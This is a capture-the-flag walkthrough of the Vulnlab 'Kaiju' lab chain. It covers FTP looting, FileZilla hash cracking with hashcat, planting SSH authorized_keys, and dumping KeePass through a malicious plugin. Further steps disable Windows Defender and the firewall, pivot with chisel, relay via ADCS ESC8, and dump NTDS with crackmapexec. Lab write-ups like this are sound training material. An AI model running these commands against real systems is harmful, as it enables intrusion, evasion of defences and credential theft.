Vulnlab - Kaiju Chain [Hard] - 20/08/2023

Vulnlab Writeup

Through the writeup the IPs may change, this is due that I did the machine in a few tries so I turned off the instances.

We start with 3 targets in my case the targets were:

10.10.247.37
10.10.247.38
10.10.247.39

Scanning them:

$ rustscan -a $(sed --z 's/\n/,/g' target.txt)
Open 10.10.247.38:21
Open 10.10.247.38:22
Open 10.10.247.38:3389
Open 10.10.247.39:3389
Open 10.10.247.37:3389

We are able to log in with ftp:ftp, then we can list the files:

dr-xr-xr-x 1 ftp ftp               0 Dec 27 10:15 Configs
dr-xr-xr-x 1 ftp ftp               0 Dec 17 14:44 Licenses
dr-xr-xr-x 1 ftp ftp               0 Dec 27 10:15 Passwords
dr-xr-xr-x 1 ftp ftp               0 Dec 29 08:56 Software
dr-xr-xr-x 1 ftp ftp               0 Dec 27 10:15 Temp

We can download them all using wget

wget -m ftp://ftp:ftp@10.10.247.38

We find interesting files that contains credentials under the Passwords folder.

-r--r--r-- 1 ftp ftp              20 Jan 30 20:10 firewalls.txt
-r--r--r-- 1 ftp ftp               9 Jan 30 20:16 ftp.txt
-r--r--r-- 1 ftp ftp              32 Dec 29 08:53 local.txt

firewall:firexx
ftp:ftp
administrator:[Moved to KeePass]

Under the Configs folder we can find users.xml

-r--r--r-- 1 ftp ftp            2236 Dec 17 14:54 users.xml

Upon opening it we can see another user called backup and its hashed password.

<user name="backup" enabled="true">
	...
	<password index="1">
		<hash>ZqRNhkBO8d4VYJb0YmF7cJgjECAH4...</hash>
		<salt>aec9Yt49edyEvXkZUinmS52UrwNo...</salt>
		<iterations>100000</iterations>
	</password>
	...

We can check the FileZilla’s forums to see what type of hash it is, specifically I used these:

We should replace the + with . in our hash before trying to crack it, the format should be this: $pbkdf2-sha256$iterations$salt$hash

Since the hash doesn’t crack with rockyou we should try to pass some simple rules such as:

$1$2$3

which is derived from the credentials that we gathered, specifically firewalls.txt

$ hashcat -m 20300 ./filezilla.hash /opt/rockyou.txt -r ./hash_rule.txt

This cracks to ....123, then we can use this password to log in with ssh into the server:

Microsoft Windows [Version 10.0.20348.2159]
(c) Microsoft Corporation. All rights reserved.

backup@BERSRV200 C:\Users\backup>

Listing the C:\Users we can see another users: clare.frost and sasrv200, we should keep note of them. Using the users.xml we can see that there is an E:\ drive, we can explore that further.

We can see some interesting files there such as:

it.kdbx
filezilla-server.log
install.log

We can discover the administrator’s hash there:

[--admin.password@index=1 --admin.password.hash=mSbrgj1R6oqMMSk4Qk1TuYTc... --admin.password.salt=AdRNx7rAs1CEM23pA.... --admin.password.iterations=100000]

And then again we can create custom wordlist to crack it

$ hashcat -m 20300 ./filezilla.hash /opt/rockyou.txt -r ./hash_rule.txt

The next part of this chain is to enumerate the ports in the machine, we can see some interesting ports such as:

TCP    [::1]:14148            [::]:0                 LISTENING       3192

We can forward this port, but if we google around we can see that it is related to FileZilla Server, lets forward it:

ssh -L 127.0.0.1:8003:127.0.0.1:14148 backup@10.10.247.38

Now comes the tricky part, you have to use Windows to make this client work, I’ve faced some issues on Linux but I know that some people have made it work. You also need to use the same version of this software, luckily under Software folder there is a FileZilla_Server_1.8.0_win64-setup.exe which we can use to start the UI (we do not need the server), then we can configure it to connect to the port that we forwarded.

We can then enumerate the current users, but most importantly we can add our new user syl:5yl

Then we should be able to access the ftp server using the newly created user. Upon listing the FTP, we would notice that we have access to the account sasrv200 because we can list files there. Since that we have READ & WRITE access we can put authorized_keys in a .ssh folder with our public key.

ftp> mkdir .ssh
257 "/Users/sasrv200/.ssh" created successfully.
...
ftp> put authorized_keys
local: authorized_keys remote: authorized_keys
229 Entering Extended Passive Mode (|||65019|)
150 Starting data transfer.
100% |******************************************************************************************************************************|   107      155.72 KiB/s    00:00 ETA
226 Operation successful
107 bytes sent in 00:00 (2.51 KiB/s)
ftp> dir
229 Entering Extended Passive Mode (|||65164|)
150 Starting data transfer.
-rw-rw-rw- 1 ftp ftp             107 Feb 18 18:57 authorized_keys
226 Operation successful

Now we should be able to login as that user using ssh.

Microsoft Windows [Version 10.0.20348.2159]
(c) Microsoft Corporation. All rights reserved.

kaiju\sasrv200@BERSRV200 C:\Users\sasrv200>tree /f /a
Folder PATH listing
Volume serial number is AC3F-A083
C:.
+---.ssh
|       authorized_keys
|
+---Desktop
|       flag.txt

After some further enumeration over the account we can notice that there is a process called KeePass that pops out every now and then.

I created this little script to watch for changes

while ($true) {
    Clear-Host
    $processes = Get-Process | Sort-Object CPU -Descending | Select-Object -Property ID, ProcessName, CPU
    $currentTime = Get-Date
    Write-Host "Process Watcher - Current Time: $currentTime"
    $processes 
    Start-Sleep -Seconds 5
}

After that, we can see that in the E:\ drive under the KeePass folder there are Plugins folder which is empty. This hints for this malicious plugin:

When you put your malicious plugin under the Plugins folder you should expect a dump of the database in C:\temp there will be a *.xml file. Eventually you will find the administrator’s password there N......Mel...

Then we can login with SSH.

Microsoft Windows [Version 10.0.20348.2159]
(c) Microsoft Corporation. All rights reserved.

administrator@BERSRV200 C:\Users\Administrator>

Let’s disable the AV and the Firewall

cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"

Set-NetFirewallProfile -Profile Domain, Public, Private -Enabled False

Now, lets copy chisel with scp and start it, then we can adjust our proxychains tool and setup a proxy to access the internal ports.

Upon the enumeration using the ADCS module from nxc, we can see that there is an enrollment server:

We would want to see the vulnerable certificates now using certipy

$ proxychains certipy find -username clare.frost@kaiju.vl -hashes be167.. -vulnerable -stdout -dc-ip 10.10.213.165

There is ESC8 vulnerability which we can exploit.

The next step is quite tricky, we need to redirect the traffic that comes to the machine that we are in BERSRV200 to other port that we then should forward to our machine where we setup a relay towards the BERSRV100 so that we can get the authenticating certificate that we use from BERSRV105 towards BERSRV100, with that certificate we can then try to get TGT from the BERSRV100 principal which in turn will retrieve us the NT hash.

To setup this we would need to do these following steps:

Then we should be able to dump the OS credentials with the retrieved hash for the user BERSRV100$

$ proxychains crackmapexec smb 10.10.213.165 -u 'BERSRV100$' -H '19ad5c18445fxxxxx' --ntds drsuapi

And then we can use the administrator’s hash to log in using winrm or similar.